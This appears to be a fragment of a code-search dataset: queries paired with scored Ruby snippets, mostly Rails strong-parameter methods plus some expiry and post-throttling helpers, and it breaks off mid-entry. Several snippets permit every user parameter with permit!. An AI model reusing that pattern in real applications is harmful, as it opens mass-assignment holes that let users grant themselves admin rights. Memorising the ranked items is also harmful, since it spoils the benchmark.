"text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.6047015",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.6047015",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "75b7084f97e908d1548a1d23c68a6c4c",
"score": "0.60457283",
"text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end",
"title": ""
},
{
"docid": "080d2fb67f69228501429ad29d14eb29",
"score": "0.60412854",
"text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff",
"score": "0.6032506",
"text": "def parameters\n params.permit(permitted_params)\n end",
"title": ""
},
{
"docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8",
"score": "0.6029243",
"text": "def filter_params\n end",
"title": ""
},
{
"docid": "cf73c42e01765dd1c09630007357379c",
"score": "0.60251915",
"text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end",
"title": ""
},
{
"docid": "793abf19d555fb6aa75265abdbac23a3",
"score": "0.6020472",
"text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end",
"title": ""
},
{
"docid": "2e70947f467cb6b1fda5cddcd6dc6304",
"score": "0.60178447",
"text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend",
"title": ""
},
{
"docid": "2a11104d8397f6fb79f9a57f6d6151c7",
"score": "0.6016368",
"text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end",
"title": ""
},
{
"docid": "a83bc4d11697ba3c866a5eaae3be7e05",
"score": "0.60133153",
"text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end",
"title": ""
},
{
"docid": "2aa7b93e192af3519f13e9c65843a6ed",
"score": "0.6007004",
"text": "def user_params\n params[:user].permit!\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.60052776",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.60052776",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "9c8cd7c9e353c522f2b88f2cf815ef4e",
"score": "0.60052764",
"text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "9736586d5c470252911ec58107dff461",
"score": "0.60026777",
"text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end",
"title": ""
},
{
"docid": "e7cad604922ed7fad31f22b52ecdbd13",
"score": "0.60007924",
"text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end",
"title": ""
},
{
"docid": "f70301232281d001a4e52bd9ba4d20f5",
"score": "0.6000297",
"text": "def room_allowed_params\n end",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000006",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000006",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "2e6de53893e405d0fe83b9d18b696bd5",
"score": "0.59981924",
"text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.5995787",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.5995787",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "a50ca4c82eaf086dcbcc9b485ebd4261",
"score": "0.59932935",
"text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end",
"title": ""
},
{
"docid": "0f53610616212c35950b45fbcf9f5ad4",
"score": "0.59924304",
"text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end",
"title": ""
},
{
"docid": "b545ec7bfd51dc43b982b451a715a538",
"score": "0.59919494",
"text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end",
"title": ""
},
{
"docid": "0b704016f3538045eb52c45442e7f704",
"score": "0.59897816",
"text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end",
"title": ""
},
{
"docid": "6af3741c8644ee63d155db59be10a774",
"score": "0.5988952",
"text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end",
"title": ""
}
] |
01e68d5af46fd4b98e80cea5cd33e4e0 | timer expired && no available posts | [
{
"docid": "cdc38d0a4601ef1e5aacae51e30c8c3e",
"score": "0.0",
"text": "def output_5\n @button = false\n @small_message = \"Your response expired #{expiration} ago. \n There are currently no unanswered posts available. Get posting!!\"\n end",
"title": ""
}
] | [
{
"docid": "e0d32062430f0fdd2f97565b1fbb93ba",
"score": "0.70405024",
"text": "def spam_free\n # order all the posts reverse chronologically\n # the latest post\n # get the posted time for the latest post\n last_post = Post.order(:created_at).last \n # latest_time = last_post.created_at\n\n #goal: the user can only post after 1 minutes\n if Post.any? and last_post.created_at > 1.minute.ago\n # if this is true, the last post was made in less 1 minutes ago so please raise an error\n self.errors.add(:base, \"You Robot Asshole, I have stopped you from posting new posts within 1 minute\")\n\n # def limit_posts\n\n end\n end",
"title": ""
},
{
"docid": "d831ae9adc17b991c6aeeaf034c95579",
"score": "0.6864308",
"text": "def timed_out?\n Time.now > self.created_at.advance(:minutes=>Setting.get('forum', 'time_out_time').to_i) \n end",
"title": ""
},
{
"docid": "e3203bf28562e9e5a449aedf3376a18d",
"score": "0.68261623",
"text": "def seconds_until_post_allowed\n # no posts yet or only one reply to an intro question means you can post right now...\n if posts.count.zero? || (posts.count == 1 && last_post.poll_question.intro_only)\n 0\n else\n user_settings.next_post_allowed.to_i - Time.current.to_i\n end\n end",
"title": ""
},
{
"docid": "41ba860ff540f085bc0cda4d25f869b9",
"score": "0.68037057",
"text": "def timer\n @entries = Entry.where({oauth_id: @oauth.id}).where.not(:post_hour=>nil, :post_min=>nil).order(\"post_hour ASC, post_min ASC\").page(params[:page])\n end",
"title": ""
},
{
"docid": "3fb68128d25619a59c7042d172c64a52",
"score": "0.67871326",
"text": "def expired?; end",
"title": ""
},
{
"docid": "3fb68128d25619a59c7042d172c64a52",
"score": "0.67871326",
"text": "def expired?; end",
"title": ""
},
{
"docid": "d773d7112ff716d9258ffcef52b56af2",
"score": "0.6766952",
"text": "def expired\n end",
"title": ""
},
{
"docid": "7d5e4950983306b97f9742cdc976a343",
"score": "0.66960293",
"text": "def timerExpired(metainfo)\n end",
"title": ""
},
{
"docid": "5947b5d339a81b2755cb7797ce6842ff",
"score": "0.6685468",
"text": "def posting_has_expired?\n @posting_has_expired = (\n system_post? and header_as_plain == \"This posting has expired.\"\n ) if @posting_has_expired.nil?\n \n @posting_has_expired\n end",
"title": ""
},
{
"docid": "5dbf927b5ad66368bd2ced50574e6612",
"score": "0.6611625",
"text": "def notify_expired\n end",
"title": ""
},
{
"docid": "23d32e7aa570a9b8970d6b1b4a6ff14c",
"score": "0.6558656",
"text": "def expired?() true end",
"title": ""
},
{
"docid": "8d7d7bab6e58c8049ecd7c9530e69c41",
"score": "0.6517074",
"text": "def submitted_recently\n allowed_to_post_in_seconds > 0\nend",
"title": ""
},
{
"docid": "8d7d7bab6e58c8049ecd7c9530e69c41",
"score": "0.6517074",
"text": "def submitted_recently\n allowed_to_post_in_seconds > 0\nend",
"title": ""
},
{
"docid": "f501946433944c4913c8085b7599274b",
"score": "0.6487156",
"text": "def allowed_to_post_in_seconds\n $r.ttl(\"user:#{$user['id']}:submitted_recently\")\n end",
"title": ""
},
{
"docid": "79ac1d5c70c134ab94c3b4291561a8e4",
"score": "0.64691484",
"text": "def expired?\n expires_in <= 0\n end",
"title": ""
},
{
"docid": "5af1352d07b2fec44c4a8d6964a118ec",
"score": "0.64635223",
"text": "def allowed_to_post_in_seconds\n $r.ttl(\"user:#{$user['id']}:submitted_recently\")\nend",
"title": ""
},
{
"docid": "5e2ee4ed12295c9a0dfb47272a7a1e0e",
"score": "0.641562",
"text": "def expired?\n\t\tself.sent + self.span < Time.now.to_i\n\tend",
"title": ""
},
{
"docid": "c6eca90aa8a771b260767922be14e3b6",
"score": "0.6413393",
"text": "def expired?\n Time.now > @created + ttl\n end",
"title": ""
},
{
"docid": "c6eca90aa8a771b260767922be14e3b6",
"score": "0.6413393",
"text": "def expired?\n Time.now > @created + ttl\n end",
"title": ""
},
{
"docid": "801cbf8c35d5abcb5aa0eaa5c9a0607e",
"score": "0.6385086",
"text": "def allowed_to_post_in_seconds\n return 0 if user_is_admin?($user)\n $r.ttl(\"user:#{$user['id']}:submitted_recently\")\nend",
"title": ""
},
{
"docid": "09fd689adac7d31bcadb488de6f3c052",
"score": "0.6357571",
"text": "def expired?\n end",
"title": ""
},
{
"docid": "f62fa388bb5b54eae8033443a918948d",
"score": "0.62825805",
"text": "def ttlexpired\n Log.debug(\"Incrementing ttl expired stat\")\n @ttlexpired += 1\n end",
"title": ""
},
{
"docid": "874d17eee14de3b8b3e7eba5f3a4a174",
"score": "0.6271703",
"text": "def submitted_recently\n allowed_to_post_in_seconds > 0\n end",
"title": ""
},
{
"docid": "89c7d14bac392d3bf77c9aa397390d56",
"score": "0.6264027",
"text": "def expired?\n\n end",
"title": ""
},
{
"docid": "89c7d14bac392d3bf77c9aa397390d56",
"score": "0.6264027",
"text": "def expired?\n\n end",
"title": ""
},
{
"docid": "89c7d14bac392d3bf77c9aa397390d56",
"score": "0.6264027",
"text": "def expired?\n\n end",
"title": ""
},
{
"docid": "89c7d14bac392d3bf77c9aa397390d56",
"score": "0.6264027",
"text": "def expired?\n\n end",
"title": ""
},
{
"docid": "89c7d14bac392d3bf77c9aa397390d56",
"score": "0.6264027",
"text": "def expired?\n\n end",
"title": ""
},
{
"docid": "a51c90868c891f6c780aac22a9b59f77",
"score": "0.6223576",
"text": "def hasExpired()\n\t\t@item.sell_in < 0\n end",
"title": ""
},
{
"docid": "aa410b22c29f3dcc44409fa7a8646630",
"score": "0.6208398",
"text": "def expired?\r\n Time.now.to_i > expires\r\n end",
"title": ""
},
{
"docid": "3fdccb3bb6d0cb858a19c4ec17d4e8d9",
"score": "0.61827034",
"text": "def expired?\n false\n end",
"title": ""
},
{
"docid": "83e2b7ffa5de88aa7033512c7721fa2b",
"score": "0.61721176",
"text": "def flush_expired \n if gc_last && gc_time && gc_last+gc_time <= Time.now \n flush_expired!\n end\n end",
"title": ""
},
{
"docid": "26be3543fd4e1700d900f20b565a36ef",
"score": "0.6163136",
"text": "def expired?\n Time.now > self.created_at+self.ttl\n end",
"title": ""
},
{
"docid": "4d87322cece2dae84aa2d5f3f361011c",
"score": "0.6157226",
"text": "def atest_ID_25891_scheduled_posts\n login_as_user1\n go_to_edit_profile_page\n $profile_your_posts.click\n sleep 5\n schedule_post(\"Living\",\"House & Home\")\n go_to_scheduled_tab_on_your_post_page\n verify_text \"test_ID_25890_published_posts\",\"Your Posts\",\"Current Drafts\", \"Scheduled Posts\", \"Published Posts\", \"Scheduled\"\n verify_elements_on_scheduled_post \"test_ID_25891_scheduled_posts\"\n verify_scheduled_post_count_updated_after_deleting_scheduled_post\n end",
"title": ""
},
{
"docid": "53da8c1d2e14e62ca97c15c13638e77a",
"score": "0.61537915",
"text": "def expired?\n seconds_remaining > 0\n end",
"title": ""
},
{
"docid": "eb32056ffb317116cc06f1e4bfb90046",
"score": "0.61428976",
"text": "def expired?\n true\n end",
"title": ""
},
{
"docid": "d4f1ab779715756cb50302a642b45d31",
"score": "0.6115933",
"text": "def expired_and_overdue?\n (expires_at + assignments_duration) < Time.now\n end",
"title": ""
},
{
"docid": "3e8cf75c3db9a002f7c583836583e7b6",
"score": "0.6090466",
"text": "def expired?(time_limit)\n ts = execute_retry('SELECT * from timestamp')\n\n ts.empty? || (Time.now.to_i - time_limit > ts.first.first)\n end",
"title": ""
},
{
"docid": "8794ca61eaf92b7fcb902ba4003bf64a",
"score": "0.60817194",
"text": "def expires(time); end",
"title": ""
},
{
"docid": "2ce9bdbb52770345e455ae5cdd7b1fba",
"score": "0.6071772",
"text": "def expiration; end",
"title": ""
},
{
"docid": "9511fda54024f73ff8b9388c400da96d",
"score": "0.6064219",
"text": "def purge_timer\n purge_queue(:orphaned, \"resource\")\n purge_queue(:date, purge_date)\n end",
"title": ""
},
{
"docid": "5344cfb11196a3b2b295c23d6eb6e12d",
"score": "0.60635835",
"text": "def expired?\n (updated_at || Time.now) < Session.timeout.seconds.ago\n end",
"title": ""
},
{
"docid": "351311724fae672eef909ae14f6ab3ae",
"score": "0.6063055",
"text": "def expired?\n self.status != 'pending' || self.created_at < 3.days.ago\n end",
"title": ""
},
{
"docid": "7b3ebf1b033d1d0310e2439217c022b8",
"score": "0.60420173",
"text": "def expired?\n return (Time.now - created_at) > MeterCat.config.expiration\n end",
"title": ""
},
{
"docid": "02b6037859a136c6a4ca066f5a693c72",
"score": "0.60352373",
"text": "def reset_post_allowed_interval!\n user_settings.update_attribute(:next_post_allowed, Time.current)\n end",
"title": ""
},
{
"docid": "d751a009c9f8a1455a807289163cab94",
"score": "0.60347956",
"text": "def expired?()\n records = DynarexDaily.new.to_h\n if records and !records.empty? then\n (Time.now - Time.parse(records.last[:time])) / 60 >= 45 \n else\n true\n end\n end",
"title": ""
},
{
"docid": "f7fd10d7376311176ece8d509b4eec8f",
"score": "0.60332334",
"text": "def too_late?(host)\n last = host.fetch('subscription_facet_attributes', {}).fetch('last_checkin', nil)\n if last.nil?\n true\n else\n Time.now.to_i - Time.parse(last).to_i > $expire.to_i\n end\nend",
"title": ""
},
{
"docid": "9c689a66b68edd5b369427847d55130e",
"score": "0.6023669",
"text": "def expired?\n expires && Time.current > expires || false\n end",
"title": ""
},
{
"docid": "3ddb8ae5f20ded7b391b35217fcf4631",
"score": "0.602308",
"text": "def throttle_expired?\n return true if elapsed_time > delay\n\n Vedeu.log(\"Throttling event '#{name}'\")\n\n false\n end",
"title": ""
},
{
"docid": "6f5aa9c25b77dd03d8f88324f75e7971",
"score": "0.60176104",
"text": "def expired?(time = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "5a4d575ea8d90fd60fed21cf8af3dae5",
"score": "0.6006489",
"text": "def expired?\n return false if self.created.nil?\n Time.now >= (self.created + keep_alive_timeout)\n end",
"title": ""
},
{
"docid": "fccdc47dc28e9300cbb4dd51a2436ecf",
"score": "0.600208",
"text": "def throttle_expired?\n return true if (@now - @executed_at) > delay\n\n Vedeu.log(type: :event, message: \"Throttling: '#{name.inspect}'\")\n\n false\n end",
"title": ""
},
{
"docid": "e416c5485b3e4cabc35f74524ad5f426",
"score": "0.5996377",
"text": "def token_is_not_expired\n ((Time.now-self.login_link_sent) /60) < 2\n end",
"title": ""
},
{
"docid": "59feba36baf80a430ad11e9f374051ae",
"score": "0.5983096",
"text": "def expired\n @relation = Captcha.expired\n @per_page = 10\n paginate\n end",
"title": ""
},
{
"docid": "c6da761a971fb0ad094a6713bb70b90c",
"score": "0.59812725",
"text": "def expired?\n expires.nil? || expires <= Time.now\n end",
"title": ""
},
{
"docid": "5548621d2cdd8315e9e991a070c34c23",
"score": "0.5979433",
"text": "def expired?\n Time.now.to_i >= @expires_at - 60\n end",
"title": ""
},
{
"docid": "3d0ed9f14c97e0315e17dd2d85b7399a",
"score": "0.5975998",
"text": "def expired\n index\n end",
"title": ""
},
{
"docid": "8aaf8e234f40bcad59183ab4bebe5d08",
"score": "0.5966358",
"text": "def is_expired?\n self.class.is_expired?(@time)\n end",
"title": ""
},
{
"docid": "24f249a6531bd1511c7205e03d71ee3d",
"score": "0.5965327",
"text": "def expires; end",
"title": ""
},
{
"docid": "24f249a6531bd1511c7205e03d71ee3d",
"score": "0.5965327",
"text": "def expires; end",
"title": ""
},
{
"docid": "24f249a6531bd1511c7205e03d71ee3d",
"score": "0.5965327",
"text": "def expires; end",
"title": ""
},
{
"docid": "24f249a6531bd1511c7205e03d71ee3d",
"score": "0.5965327",
"text": "def expires; end",
"title": ""
},
{
"docid": "556692be65e8a5999fab31f5549dfa3b",
"score": "0.59631383",
"text": "def expired?\n expired\n end",
"title": ""
},
{
"docid": "b0bd111e252ca7645dbd89f8d2717d1e",
"score": "0.5962783",
"text": "def expired?\n if ttl == 0\n false\n else\n saved_at + ttl <= Time.now\n end\n end",
"title": ""
},
{
"docid": "cf631198d9b7cf1f373febca7d35beeb",
"score": "0.59611225",
"text": "def expired?\n !active?\n end",
"title": ""
},
{
"docid": "21a9c5be81890aa5341a01950c8120d7",
"score": "0.5953883",
"text": "def expired_tasks\r\n\r\n tasks.select {|t| t.finish_time < Time.now }\r\n\r\n end",
"title": ""
},
{
"docid": "118ba399cc9e3e8e4a9a42a0138fdf9b",
"score": "0.5953487",
"text": "def expired?\n event_time_start > Time.now\n end",
"title": ""
},
{
"docid": "8578938914ceb3ba640a68c50d8ceb72",
"score": "0.59492606",
"text": "def has_expired\n return true if !expiration_date\n PromosHelper.current_time > expiration_date\n end",
"title": ""
},
{
"docid": "b91bca2595e76cbfac3aaf31f2d212ca",
"score": "0.5946391",
"text": "def no_new_votes_if_expired\n if question && question.expired?\n errors.add(:question, \"can't be voted on if expired\")\n end \n end",
"title": ""
},
{
"docid": "89d345bcbf49d3e39472c4adaac56b64",
"score": "0.594218",
"text": "def expired?\n Time.now > self.expires_on\n end",
"title": ""
},
{
"docid": "87b94f45b155f08b33d9702e1cb8e768",
"score": "0.59350187",
"text": "def expire; end",
"title": ""
},
{
"docid": "438b7ef1d166c84216e89dd5735d6c42",
"score": "0.5933861",
"text": "def check_time_to_live! now = nil\n now ||= Time.now\n now_i = now.to_i\n\n expired = select do | k, v |\n # $stderr.puts \" k = #{k.inspect} v = #{v.inspect} now_i = #{now_i.inspect}\"\n v[1] < now_i\n end\n\n expired = expired.map do | k, v |\n # $stderr.puts \" k = #{k.inspect} v = #{v.inspect}\"\n delete(k)\n k\n end\n\n self.now = now\n\n # $stderr.puts \"expired = #{expired.inspect}\"\n\n expired\n end",
"title": ""
},
{
"docid": "51e6d9e7012d0931cc58b9f1977a2952",
"score": "0.5930661",
"text": "def expired?\n !active?\n end",
"title": ""
},
{
"docid": "1126aa04b60a00701f748dfb577520e9",
"score": "0.59296805",
"text": "def expired?\n Time.now > expiration if expiration\n end",
"title": ""
},
{
"docid": "c0e687a2912fec5deb6cf806655b40e0",
"score": "0.5920343",
"text": "def expired?\n expires_at < Time.now\n end",
"title": ""
},
{
"docid": "c1376836fc2a636c99eb162ee9e11ddc",
"score": "0.591574",
"text": "def has_expired\n return Time.now > @expires_at\n end",
"title": ""
},
{
"docid": "c8d7c97d356028be969ee3970d828f90",
"score": "0.59128267",
"text": "def request_expired?\n return true unless params.key?('nonce') && params['nonce'].present?\n\n (Time.current.utc - Time.parse(CGI.unescape(params['nonce'])).utc) > TIME_LIMIT\n end",
"title": ""
},
{
"docid": "3447fb1e68b9e4a5c3a7c08bcd5933a9",
"score": "0.5910919",
"text": "def expired?\n Time.now > expires_at\n end",
"title": ""
},
{
"docid": "f6ac1a638d2c9bf78aab05de4ae08f3f",
"score": "0.59051675",
"text": "def expired?\n expires_at < Time.now\n end",
"title": ""
},
{
"docid": "f15567a6a0d1fac5e5c8ea5ae8fb528e",
"score": "0.5898844",
"text": "def find_expired(timeout)\n expiration = Time.zone.now - timeout.to_i.minutes\n self.where(\"created_at < ?\", expiration).where(status: [:pending]).all\n end",
"title": ""
},
{
"docid": "727ef36fc071bb8cc2b97eee9865d451",
"score": "0.5898825",
"text": "def test_ID_25891_scheduled_posts_03\n login_as_user1\n go_to_edit_profile_page\n $profile_your_posts.click\n sleep 5\n verify_scheduled_post_count_updated_after_deleting_scheduled_post\n end",
"title": ""
},
{
"docid": "4bff29be85d40512f6cc773ded0027da",
"score": "0.58968294",
"text": "def will_expire_soon?\n return false if self.time_expired.nil? or self.expired?\n return self.time_expired < 30.days.from_now\n end",
"title": ""
},
{
"docid": "3eb1a5f40770948eca1c528a6b070e7f",
"score": "0.58966976",
"text": "def expired_data?\n updated_at < EXPIRE_PERIOD.minutes.ago\n end",
"title": ""
},
{
"docid": "9d299ab1a4daa8bd34ffd701b9e05c9d",
"score": "0.5895436",
"text": "def expired?\n expiration_timestamp && (Time.now > expiration_timestamp)\nend",
"title": ""
},
{
"docid": "a9d422b178e71a38e6eedfa17d0916f7",
"score": "0.58827215",
"text": "def is_expired?\n return self.expires_at <= Time.now\n end",
"title": ""
},
{
"docid": "8dfbd11c104232249718450de7f3d23a",
"score": "0.5882642",
"text": "def expired?\n (Time.now.utc - self.updated_at) > 5.days\n end",
"title": ""
},
{
"docid": "e977d74d22ca5598447cf4a68620030a",
"score": "0.58775085",
"text": "def new_posts_since time\n if self.posts\n if !self.posts.find(:all, :conditions=>[\"posts.created_at > ?\", time]).empty?\n if self.sticky.to_i == 1\n Post.sticky_new_post_image\n else\n Post.new_post_image\n end\n else\n if self.sticky.to_i == 1\n Post.sticky_no_new_post_image\n else\n Post.no_new_post_image\n end\n end\n end\n end",
"title": ""
},
{
"docid": "4689cb62925520be31fb11399a288553",
"score": "0.587618",
"text": "def unexpired\n index\n end",
"title": ""
},
{
"docid": "f22f8ff502ed22d63b0d856401ae7b89",
"score": "0.5873968",
"text": "def expire!; end",
"title": ""
},
{
"docid": "f22f8ff502ed22d63b0d856401ae7b89",
"score": "0.5873968",
"text": "def expire!; end",
"title": ""
},
{
"docid": "b933fd6e7e48489ab13997798c13c04b",
"score": "0.5865432",
"text": "def expired?\r\n self.expires_at < Time.now\r\n end",
"title": ""
},
{
"docid": "b8ed8be517b915b74893fc65fb005df3",
"score": "0.5856344",
"text": "def timer_expired?\n !!(@stop_time && Time.now >= @stop_time)\n end",
"title": ""
},
{
"docid": "7d24d6619da5c2240ec381a93265f478",
"score": "0.5855228",
"text": "def expired?\n !lockout_time.nil? && lockout_time.to_i != 0\n end",
"title": ""
},
{
"docid": "6d97b5ba1d8392d40009116f387931e9",
"score": "0.58444256",
"text": "def expires_in; end",
"title": ""
},
{
"docid": "6d97b5ba1d8392d40009116f387931e9",
"score": "0.58444256",
"text": "def expires_in; end",
"title": ""
},
{
"docid": "6d97b5ba1d8392d40009116f387931e9",
"score": "0.58444256",
"text": "def expires_in; end",
"title": ""
},
{
"docid": "72e535eb9b535d422d826465d0ed5996",
"score": "0.5834055",
"text": "def able_to_post?\n # recalculate the list every hour\n user_posts = Post.latest_within(app_settings(:post_karam_tracking_time), 3600).find(:author_id => id).to_a\n return true if user_posts.empty? \n return user_posts.collect(&:karma).inject(&:+) > app_settings(:post_karma_barrier)\n end",
"title": ""
},
{
"docid": "cd3e94ed725e3247645f2c8a7d489928",
"score": "0.5833784",
"text": "def expired?\n expires_at && Time.now > expires_at\n end",
"title": ""
},
{
"docid": "14bd4b1f6e3a2d98ef73c78d4da86a33",
"score": "0.5832456",
"text": "def expired?\n !!(expires && expires < Time.now)\n end",
"title": ""
},
{
"docid": "864274a162fe9043c93c6993b05eabc5",
"score": "0.5830018",
"text": "def no_recent_activity\n config = Nagnagnag.config\n old_after_seconds = [config.close_after_seconds, config.stale_after_seconds].min\n @issue.updated_at < (Time.now - old_after_seconds)\n end",
"title": ""
},
{
"docid": "1357fa61dabc48ca41d8654d3db35e56",
"score": "0.5825394",
"text": "def expires_now; end",
"title": ""
}
] |
b999095ac529a1de579a70eabc5387c0 | quiery's player for a move or they may forfeit | [
{
"docid": "1f68f7d09ae3f91b3c72b103ee2d96e6",
"score": "0.0",
"text": "def get_move(player)\n print \"#{player} select a piece to move :\"\n position1 = gets.chomp\n if position1 == 'forfeit'\n return false\n end\n print \"Where would you like to move?: \"\n position2 = gets.chomp\n \n return position2 == 'forfeit' ? false : position1, position2\nend",
"title": ""
}
] | [
{
"docid": "10962cd7a62058100e6a50c861e4ee24",
"score": "0.7293551",
"text": "def onalg_player_has_moved(player,move)\n if player != @alg_player\n \n end\n end",
"title": ""
},
{
"docid": "46d1e4ae7142e25ef9d9996778d538c6",
"score": "0.71029764",
"text": "def player_moved\n\t\tend",
"title": ""
},
{
"docid": "a094839c8baa5cf0694810182612d17d",
"score": "0.7028194",
"text": "def player_move\n pm = get_player_move.to_sym\n \n if spot_taken? pm\n player_move\n else\n @board[pm] = player_symbol\n @whose_turn = :computer\n pm\n end\n end",
"title": ""
},
{
"docid": "8b9478c229ae0a6376b5d3cc84014ec8",
"score": "0.6804555",
"text": "def current_player\n next_to_move == :black ? gameplays.black.player : gameplays.white.player\n end",
"title": ""
},
{
"docid": "fcbe6f80d85882f8c7c39e265b8e0ce6",
"score": "0.6767144",
"text": "def winner\n furthest_player if finished?\n end",
"title": ""
},
{
"docid": "47ee4ae653d0b5525bc6ce177cc52ff3",
"score": "0.672179",
"text": "def is_player?\r\n return false\r\n end",
"title": ""
},
{
"docid": "9bbeade3614baaceac13b21067cd5075",
"score": "0.6716505",
"text": "def isPlayer\n true\n end",
"title": ""
},
{
"docid": "2623626837a5939f3dba60574e47588c",
"score": "0.66983557",
"text": "def player_move(player)\r\n\r\n # CHANGE THE PLAYER'S POSITION\r\n player.x += player.velocity_x \r\n player.y += player.velocity_y\r\n\r\n # CREATES SLOWING DOWN EFFECT\r\n player.velocity_x *= FRICTION\r\n player.velocity_y *= FRICTION\r\n\r\n # Prevent the tank from going out the window\r\n # WINDOW RIGHT\r\n if player.x > SCREEN_WIDTH - player.radius\r\n player.velocity_x = 0\r\n player.x = SCREEN_WIDTH - player.radius\r\n end\r\n\r\n # WINDOW LEFT\r\n if player.x < player.radius \r\n player.velocity_x = 0\r\n player.x = player.radius\r\n end\r\n\r\n # WINDOW BOTTOM\r\n if player.y > SCREEN_HEIGHT - player.radius\r\n player.velocity_y = 0\r\n player.y = SCREEN_HEIGHT - player.radius\r\n end\r\n\r\n # WINDOW TOP\r\n if player.y < player.radius\r\n player.velocity_y = 0\r\n player.y = player.radius\r\n end\r\n\r\n end",
"title": ""
},
{
"docid": "4ab2c239a346a6503f197e90f3fc12b2",
"score": "0.6686872",
"text": "def update\n if @world.getPlayerOne().getCity().isDead()\n @winner = \"PLAYER TWO\"\n elsif @world.getPlayerTwo().getCity().isDead()\n @winner = \"PLAYER ONE\"\n end\n end",
"title": ""
},
{
"docid": "1c7c3419a313271bbe2b29187d1c4843",
"score": "0.66459006",
"text": "def advance_player!(player)\n \n\n player\n end",
"title": ""
},
{
"docid": "52dbf98bfc16691b2f052ef6995a6b63",
"score": "0.66388315",
"text": "def move_player\n # if the selected location is map the player is on\n Sound.play_cancel\n\n # find the opposite direction\n x = $game_player.x\n y = $game_player.y\n \n if x == 0\n opp_direction = 6\n elsif x >= $game_map.width-1\n opp_direction = 4\n elsif y == 0\n opp_direction = 2\n elsif y >= $game_map.height-1\n opp_direction = 8\n else\n opp_direction = $game_player.direction\n end\n \n # turn the player round and exit\n\t\t$game_player.set_direction(opp_direction)\n end",
"title": ""
},
{
"docid": "ac5287df9e9a5c5b1292e50a0abf85ac",
"score": "0.6636266",
"text": "def request_player_action\n\tplayer = 1\n\twhile true do\n\t\tpiece = pick_piece player\n\t\trow = get_row piece\n\t\tcolumn = get_column piece\n\t\tmovement = pick_movement(player, row, column)\n\t\tto_row = get_row movement\n\t\tto_column = get_column movement\n\t\tupdate_state(player, row, column, to_row, to_column)\n\t\tupdate_board\n\t\tplayer == 1? player = 2 : player = 1\n\tend\nend",
"title": ""
},
{
"docid": "82c82ad1aa6ec6dbc2b539c898dc529a",
"score": "0.66353065",
